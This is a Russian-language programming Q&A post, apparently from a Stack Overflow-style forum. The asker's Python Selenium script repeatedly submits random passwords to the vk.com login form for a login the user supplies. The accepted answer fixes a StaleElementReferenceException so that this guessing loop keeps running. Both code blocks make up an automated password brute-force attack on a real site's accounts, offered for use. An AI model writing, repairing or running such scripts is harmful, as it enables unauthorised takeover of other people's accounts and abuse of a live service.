Не работает программа после отправки данных: "StaleElementReferenceException: stale element reference: element is not attached to the page document"
length = randint(6,20)
wrong = []
symbols=["1","2","3","4","5","6","7","8","9","0","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"]
password = str()
LoginInput = input("Enter login/")
driver = webdriver.Chrome()
driver.get("https://vk.com/login?m=1&email=" + LoginInput)
login = driver.find_element_by_name("email")
passw = driver.find_element_by_id("pass")
logbut = driver.find_element_by_id("login_button")
run = True
while run:
#for i in range(3):
for i in range(length):
password+=random.choice(symbols)
#print(password)
passw.send_keys(password)
logbut.click()
password = str("")
length = randint(1,20)
Цитата
После первой отправки программа прекращает работать(все библиотеки есть, проект делаю в ознакомительных целях):
check_response raise exception_class(message, screen, stacktrace) selenium.common.exceptions.StaleElementReferenceException: Message: stale element reference: element is not attached to the page document (Session info: chrome=80.0.3987.149)
Ответы (1 шт):
Автор решения: gil9red
→ Ссылка
Попробуйте заново элементы искать после загрузки. Т.к. при клике на отправку, новая страница будет загружена, а ссылки на элементы предыдущей страницы будут потеряны, думаю поэтому и возникает ошибка:
element is not attached to the page document
Пример:
import string
import time
...
symbols = string.ascii_letters + string.digits
email = input("Enter login: ")
driver = webdriver.Chrome()
driver.get("https://vk.com/login?m=1&email=" + email)
run = True
while run:
login = driver.find_element_by_name("email")
passw = driver.find_element_by_id("pass")
logbut = driver.find_element_by_id("login_button")
length = randint(1, 20)
password = ''.join(random.choice(symbols) for i in range(length))
#print(password)
passw.send_keys(password)
logbut.click()
time.sleep(10)